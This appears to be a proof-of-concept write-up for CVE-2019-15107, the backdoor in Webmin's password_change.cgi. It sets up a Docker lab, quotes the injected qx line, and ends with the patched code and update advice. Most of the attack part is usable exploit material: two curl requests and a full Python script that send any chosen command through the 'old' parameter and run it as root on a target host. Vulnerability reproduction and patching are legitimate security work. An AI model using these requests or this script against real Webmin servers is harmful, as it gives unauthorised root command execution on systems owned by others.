
PoC exploit for CVE-2019-15107, a remote code execution vulnerability in Webmin 1.920 and earlier. Includes Docker-based lab setup, curl and Python exploit scripts, and mitigation guidance.
[CVE-2019-15107] is a vulnerability in Webmin, a web-based system administration tool for Unix systems. In the code that changes passwords, a specific parameter is passed directly to a shell command without filtering, allowing arbitrary code execution (Remote Code Execution, RCE).
The vulnerability was found in password_change.cgi, which handles password changes, when using Webmin version 1.920 or earlier. The vulnerability occurred because malware was injected during the distribution of Webmin via SourceForge.
This reproduction uses Webmin version 1.910, as used in vulhub. Additionally, since password changes are only enabled when Webmin's passwd_mode=2, set up the environment with passwd_mode=2.
With the prepared Webmin 1.910 release file webmin_1.910_all.deb, run the following command to set up the vulnerable environment:
docker compose up -d
The
Dockerfileanddocker-entrypoint.shfiles were reorganized for local use, referencing formats pre-built in vulhub.
Password change requires familiar parameters such as user, old, new1, and new2. Among these, code that executes the value of the old parameter was inserted.
Below is a portion of the password_change.cgi file from version 1.910. qx/$in{'old'}/ is the code that executes the aforementioned old value. By controlling this value, arbitrary code execution becomes possible.
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
The vulnerability can be reproduced by accessing password_change.cgi in Webmin and sending a request with the old variable manipulated.
Whether using curl or Python, any method that sends a request to password_change.cgi works. All three examples aim to output the uid by injecting the command id into old.
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# Ignore HTTPS certificate
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# Input command into the old parameter
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # command
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
It can be executed as follows:
python3 PoC.py -t your-ip:10000 -c "id"

By injecting a desired command into the old parameter as described above, the command is executed directly. The results show that all uids are 0, indicating execution with root privileges.
In other words, this [CVE-2019-15107] vulnerability allows RCE with root privileges.
Furthermore, if a separate reverse shell is prepared, it is possible to gain a shell on the server by connecting to it.
Once the reproduction is complete, the service can be stopped using the following command:
docker compose down
The simplest method is to update Webmin.
This is the changed code in version 1.930. The part that executes the old value was simply removed.
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
If the code execution part is necessary, inserting code that validates the old input can also resolve the issue.